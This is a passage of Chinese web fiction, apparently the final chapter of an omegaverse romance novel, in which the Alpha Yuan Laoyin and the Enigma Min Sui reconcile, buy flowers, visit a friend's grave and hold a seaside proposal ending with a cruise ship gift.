这一切是自己想要的吗? 和闵随之间经不起半点波折与谎言,脆弱得就像是打湿后又冻干的纸,不需要力气就能顷刻间化为齑粉。 或许在他离开前选择去寺庙还愿,一切就有了答案。 “我有话想对你说。”细碎的伤痕早就不见踪迹,他就像是在普通的下午睡了一觉,时间好像就这样穿回了从前,他们没有矛盾与仇恨的从前。 “你说,我听着。”闵随坐在床边,阳光暖暖洒下金光照亮他的侧脸。 “对不起,让你好辛苦。”Alpha伸手抱住闵随,将脸挨在爱人的颈侧轻轻蹭着,“这两年是不是很不好过。” 切断完全标记,不过几月就传出命定之番的绯闻,闵随没有问,怕是早已经觉得失去他。 失去伴侣的塔卢索只有两条路,一条是自戕,但他还活着,闵随有太多未竟之事,断然不会这样选择。 第二条就是在漫长的孤独中回归黑白,等待命定伴侣生命的终结,再随之而去。尝过情爱的滋味,那些无尽的时间就像是普罗米修斯被鹰啄食内脏,生生世世无法解脱。 “是我的错。”闵随想起那段藏在他生命深处的记忆,那是他成为人类的原因。 原来他早在见到命定伴侣时,就变成了原烙音种族的模样。 “我真的很爱你,原来那么早你就提醒我不要欺骗,但是我忘记了。”闵随很自责,若非他的疏漏,自己绝不可能与原烙音这般痛苦纠缠。 “不是你的错。”原烙音将他死死抱住,“我不说谎,我一直爱你。” 是一直,是从未断绝。 闵随怔然抬头,他感受到原烙音带着茧的指节滑过,蹭了蹭那枚有些硌手的圆环。 那是他们爱的证明。 酸楚涌上心头,巧舌如簧的闵总失去语言能力,表情看上去有失而复得的喜悦,还有挥之不去的委屈。 “你不是不祥之物,你是上天的恩赐。” “继续走下去吧闵随,我们是命定伴侣。” 话语刚落,他被拉入乌木味的怀抱,青柠气息交融着,闵随两只手都是戒指,搁得他的背有些疼,还没来得及戏谑,他感受到湿润的触感在光裸的肩颈绽开。 那是—— 闵随的眼泪。 “谢谢你看见了我不堪后还愿意接受我。” 原烙音闭上眼睛。 “我爱你,我永远爱你。” 【正文完结】 第84章 正文完结 “闵随, 陪我去个地方吧。” 小城的风都是和缓的,越过横跨小河的桥,路边有家卖花的小店,四五个平米塞满了各式各样的鲜花。 安静, 平和, 这是原烙音真正的故乡。 “想要束花吗?”Alpha问道, 他戴着黑色鸭舌帽, 脖间悬挂的触手间若隐若现。 那原本应该是一根红绳, 悬挂着一枚做工劣质像是塑料的玉佩。 后来那枚玉佩被Alpha束之高阁。 闵随点头, 目光落在那个蓝紫条纹交替出现的桶上, 满满一桶玫瑰用塑料网包住花瓣,透过缝隙也能看出娇嫩欲滴。 “你想要什么花。”原烙音望向他, 摘下并没有工作的蓝牙耳机,选择他们之间的暗语,“还是玫瑰吗?” “不。”闵随回答得很快, 他很快意识到自己反应过于强烈,垂下眼睫, “我想要其他的。” 第一次矛盾的那天, 原烙音说的话其实他已经记不清, 但他始终记得那束银扇草与洋桔梗混合的花束。 他走进店门, 老板娘是个很热情的中年Beta。 “有银扇草吗?”闵随很快就将小店扫视完, 角落的康乃馨与白菊花, 架子上的剪刀与丝带, 贺卡是过时的粉色样式。 唯独没有他想要的。 “什么啊?”老板娘关掉电视剧,她反应几秒, 又带着笑容回应,“我们这的花都只是常见品种, 那条街有家大的花店,里面说不定会有。” 没有吗 闵随并不打算专门为了银扇草去一趟,他又确认了一遍小店里的花。 “那有洋桔梗吗?” “不好意思啊。”连问两遍都没有,老板娘也有些尴尬,“洋桔梗卖完了,不过玫瑰也很好,今天早上五点运过来的。” “不用了,谢谢。”闵随摇头出去,看向靠在电线杆上等人的原烙音,正在低头玩手机。 遗憾是常常会有的事情,就像没有出现的银扇草和洋桔梗,闵随心中的微妙情愫一闪而过,原烙音买的那束还在首都的家里,他利用塔卢索的能力定格花的时间,让它们在万物往前流逝的时空得到永恒。 但庆幸的是,他终于再次得到了命定伴侣的原谅。 “没买到吗?”原烙音看着Enigma空着的手,明知故问。 “我们回去吧。”闵随道。 原烙音撇嘴,打开刚刚暂停播放的音乐。 回到家的时间比想象中快些,小城车不多,并不会堵,他们只用了预计时间的一半。 搬到邛光后,他们很少回到这里,只有这栋孤零零的别墅坚守着从前发生在这的一切。 闵随在洗澡。 Alpha坐在沙发上,打开手机却觉得心烦意乱,他脑海中不停回想半个小时前闵随落寞的表情。 好像重逢后闵随总是这样患得患失,跟初识那般截然相反,他能读懂闵随的眼睛,它们在说—— 来爱我。 不要丢弃我。 他再也无法忘记亲眼所见闵随经历的那些痛苦,现在舍不得多说两句重话。 耳机里播放着老歌,原烙音叹了口气,发消息后出门。 十六岁那年买的单车还停在小花园,原烙音检查了下,还能骑。 他骑着车穿梭这个陌生的小城,建筑风格停留在几十年前的墙面斑驳掉皮,摇着扇子聊天的老人,公交车上稀稀拉拉的乘客,处处展现着独属于小城的风光。 自行车停在老板娘说的那家店,原烙音模糊的记忆中并没有这家新开花店的印象。 玻璃门上挂着“今日营业,欢迎光临”。 他推门进去,看到在打理花的漂亮Omega和玻璃花瓶里的洋桔梗。 “你好,我要买花。” * 闵随脖子上搭着毛巾,他看着手机里原烙音留下的消息。 【原烙音:出去买东西,待会回来】 可是时间已经过去了快半个小时。 他正准备打电话问问时,门锁动了,原烙音外套的拉链拉到顶,手中抱着一束泛青的洋桔梗。 闵随瞬间被欣喜击中,空落的心腔被爱人的重视填满。 “所以,你出去是为了给我买洋桔梗吗?”闵随接过花,仿佛又重新得到原烙音的爱。 永恒的爱,无悔的爱。 “没有银扇草,之前那束是我特意订的。”原烙音算是变相承认他听见闵随与老板娘的对话,“但是。” 他拉开外套,从里面有几朵玫瑰花,颜色火红。 “洋桔梗和玫瑰不是二选一,闵随,我们好幸运,这是从拉乌斯蒙德空运过来。” 闵随再也忍不住,将Alpha连带着玫瑰一起拥入怀中,他记得分离时原烙音每一滴眼泪,那些水滴落在地,将他画地为牢。 而现在,他终于刑满释放,能够将自己的玫瑰抱在怀中。 Alpha从来不是谁的附庸,他独自经历着风雨,有属于自己的一片天地。 他为原烙音而生,作为塔卢索他们的命运就是爱自己的命定伴侣,到真正的相遇发生,时间开始飞速流逝他们无尽的生命走上倒计时,也是从那一刻开始,色彩覆盖单调的黑白,直到走到时间的尽头,那副画圆满落笔,他们在崩塌失秩的世界相拥。 “音音,谢谢你。” 经历纷乱复杂后,还是愿意敞开双臂接受一个劣迹斑斑的爱人。 “闵随,我要去看一个朋友。” 是阮溪。 这样的小城,出现两个腺体残缺的小孩几率太小。 即使他们都搬出去,即使阮溪比他大了很多,残缺的腺体也让他们之间产生了难以隔断的奇妙联系。 两座坟,原烙音将阮溪的信息素重新放在了墓碑前。 “阮哥,我活下来了。” 其他的话不必多说,阮溪将唯一的好运给了他,于是他治愈了腺体,兜兜转转还是与闵随重建完满的圆。 阮溪与江不渡错过太多,命运多舛,他们都是被命运玩弄的可怜人,相爱却分离。 他和闵随是幸运的,他们能够相守永生。 “我来看过他很多次。” “或许是我的朋友好多都结婚了。”原烙音看着那支孤零零的信息素,神情落寞,“阮哥是我认为会最先结婚的朋友。” 但造化弄人。 “对不起音音,我们不能拥有婚姻。”Enigma身份不会公布,闵随身份证上是Alpha,而双A在他们国家不被承认,没有办法结婚。 “在一起就够了。” 原烙音摸了摸自己裤子的外侧,他并不在意有没有法定关系,他和闵随只会有彼此。 “我想带你去一个地方,我有东西要送给你。”闵随握住他的手,撕裂空间穿梭到千里之外。 现在已是深夜。 黑幕之下,繁星点点,只存在于原烙音记忆中的满天繁星就像是梦境一般出现在眼前。 码头支出的木板踏上去会发出吱呀的枯槁声音,海浪轻柔地朝岸边打去,随着波涛的起伏,那些空寂的渔船也在随之摇曳。 海面一望无际,蔓延到边际的纯黑与天空相接,糅合了那一道天堑。 “你说要送我什么东西?”原烙音已有猜测,Enigma绝佳的好心情能够一眼瞧出,他不自然地摸着裤边,望向无人的码头。 竖琴的乐音婉转而悠扬,是陌生的曲子,渲染了天边的紫云,最终繁星都落进原烙音的眼睛。 对视就是最完美的同频,信息素在这一方天地可以肆意搅弄,青柠甜得发腻从脚踝起往上螺旋缠绕,直到将闵随包裹在其中,那是Alpha宣誓占有欲的方式,往往出现在无法标记的Beta与Alpha身上。 这是隐秘的爱意。 如今,这不为世间所容的畸恋也要撕开云雾。 风,吹起海浪,水与水之间相碰也能发出难以忽视的巨响,它最顶端的水珠化为纯白,与黑浪泾渭分明。 “我爱你。” 闵随的声音传入风中,即使说过无数遍,原烙音也止不住加速的心跳。 “原烙音。” Enigma轻声呼唤他的名字,预备庄严的宣誓,那双眼睛有触手搅动的黑色火焰,温热的,黏腻的,就像是要将他焚为灰烬,融入骨血。 “塔卢索的生命无尽,我曾走过无数时光,当遇见你的那一刻生命进入倒计时,你是我黑白世界中唯一的色彩,是我的软肋,我不受触手保护的新生心脏。” “请允许我爱你。” “我爱你。” “只爱你。” “永远爱你。” 原烙音看到闵随缓缓单膝跪下,视觉中心不变,从平视到仰望他,眼中是化不开的爱意。 精致的戒指盒如同最不起眼的岩石,但又是最完美的那一块,中间躺着一枚雕刻精致的骨戒。 “这是我本体唯一的一块骨头,存着我的力量,它会永远陪伴你,守护你。” 原烙音伸出手,等待那枚戒指落在无名指。 他此前从未想过自己会成为被求婚的对象,尤其是在他们不会拥有婚姻的现实,更未想过流传于传说中的生物会小心翼翼祈求他的爱意。 不被法律承认,不为道德推崇,他们就是世人眼中特立独行的双A情侣。 “闵随,我自私而卑劣,无可否认有诸多缺点。”原烙音看那枚完美契合的骨戒,那就像天生长于他的骨节,“你给予我新生,让我感受我唯一没有获得的爱意,分离与矛盾从此以后就是加固我们关系的城墙。” “我们都看到属于对方的伤疤。” 没有戒指盒,只有一枚更加精致的戒指,散发着绚丽的色彩。 “我请求你,永远爱我。” 他将象征着权力的蓝宝石戴在闵随的无名指上,两枚戒指紧紧扣住他们之间的红线,即使没有那一纸婚约,他们也会陪伴对方走到生命终结。 世界转动时间流逝,黑夜与白昼交替,在昏暗的天空消失的最后一刻,一轮红日从海平面缓缓升起,原烙音转过去,感受着海风扑来,几乎将他所有头发刮起。 他见过无数次日落与日出,在这个世界几乎所有角落,但没有那一次能够比得上这一次。 而红日的中点骤然出现一个黑点,它由远及近,直到眼前才发现那是怎样的庞然大物。 是一艘游轮。 华丽的外壳喷漆,名字显眼。 “Iron号。”毋庸置疑这是谁的礼物。 “它是你的了,新婚快乐,我的Alpha。” 他与闵随不会拥有婚礼,这场星空下的求婚仪式就是他们婚姻的缔结初始。 “新婚快乐!” “新婚快乐!” 重重叠叠的熟悉面孔站在甲板上朝他们挥手,原烙音听着竖琴的乐音,眼眶酸涩。 所有给予他爱意,教会他毫无保留表达爱的人都在这艘游轮上,他爱的所有人都在祝福他与闵随。 他不知该说什么,转过头看向闵随,知道自己这辈子都会记住这个瞬间,即使是生命的最后一刻。 “闵先生。”甚至有隐隐哭腔,他抱住眼前的Enigma,感受到骤然缩紧的拥抱,闭上眼睛将脸靠在闵随的肩膀,任由幸福的眼泪滑落,“我好幸福。” 闵随感受到濡湿,笑着摸Alpha的头,在游轮的欢呼声中紧紧抱住他年轻的爱人。 “你会永远幸福。” “我们会永远幸福。” ———— 正文完结